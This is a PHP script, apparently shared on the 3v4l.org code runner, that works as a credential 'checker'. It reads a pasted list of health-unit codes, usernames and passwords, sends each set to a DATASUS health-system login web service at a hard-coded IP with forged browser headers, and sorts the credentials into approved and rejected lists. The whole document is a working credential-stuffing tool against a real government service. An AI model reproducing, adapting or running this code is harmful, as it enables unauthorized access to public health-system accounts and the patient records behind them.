3v4l.org

run code in 300+ PHP versions simultaneously
<?php //error_reporting(0); set_time_limit(0); function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { return; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } if(isset($_POST["enviar"])){ $SetParamList = trim($_POST['cartoes']); xflush(); $SetParamList = explode("\n", $SetParamList); $SetParamCount = count($SetParamList); xflush(); for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) { $SetParamList = str_replace(" ", "", $SetParamList); $SetParamList = str_replace("\r", "", $SetParamList); $SetParamList = str_replace("\n", "", $SetParamList); list($CNES, $USER, $SENHA,$RESTO) = explode("|", $SetParamList[$setParamUX]); xflush(); $setParamFunction = CardCheck($CNES, $USER, $SENHA); print $setParamFunction; } print "<br> <center><div style='width: 20%;' class='alert alert-success'>Foram testados <strong>{$SetParamCount}</strong> logins</div></center>"; } function CardCheck($CNES, $USER, $SENHA) { $request = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' .'<SOAP-ENV:Body>' .'<tns:validaLogin xmlns:tns="http://servidorWsCadsusCobdn.cobdn.datasus.gov.br/">' .'<usuarioSistema>CADSUS</usuarioSistema>' .'<senhaSistema></senhaSistema>' .'<codigoSistema>003</codigoSistema>' .'<bancoSistema>FEDCADWEB-DATASUS-00000010</bancoSistema>' .'<ibgeSistema>330455</ibgeSistema>' .'<username>'.$CNES.'</username>' .'<senhaUsername>'.$SENHA.'</senhaUsername>' .'<cnsOperador>'.$USER.'</cnsOperador>' .'<senhaOperador>'.$SENHA.'</senhaOperador>' .'</tns:validaLogin>' .'</SOAP-ENV:Body>' .'</SOAP-ENV:Envelope>'; $header = array( "Host: 189.28.143.114:8080", "Connection: keep-alive", "Content-length: ". strlen($request), "Origin: http://cartaonet.datasus.gov.br", "X-Requested-With: ShockwaveFlash/23.0.0.166", "User-Agent: Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", "Content-Type: text/xml, charset=utf-8", "Accept: */*", "Referer: http://cartaonet.datasus.gov.br/operadores/CadWeb.swf", "Accept-Encoding: gzip, deflate", "Accept-Language: pt-BR,pt,q=0.8,en-US,q=0.6,en,q=0.4", ); //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, "http://189.28.143.114:8080/ServidorWsCadsusJdbc/ServidorWsCadsusCobdn"); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_HEADER, 0); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $request); curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header); $response = curl_exec($soap_do); $response = preg_replace("/(<\/?)(\w+):([^>]*>)/", "$1$2$3", $response); $xml = new SimpleXMLElement($response); $body = $xml->xpath('//SBody')[0]; $array = json_decode(json_encode((array)$body), TRUE); $array = json_encode ($array); $obj = json_decode($array, TRUE); //echo '<pre>'; //print_r ($obj); //echo '</pre>'; if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Cnes / Username / Senha inválido!') {echo "<script>document.getElementById('reprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Este usuário foi desabilitado!') {echo ""; } if ($obj ['ns2validaLoginResponse']['return']['descricaoErro'] == 'Login validado!') {echo "<script>document.getElementById('aprovadas').innerHTML += '{$CNES}|{$USER}|{$SENHA}' + '<br>';</script>";} } ?>

preferences:
64.01 ms | 402 KiB | 5 Q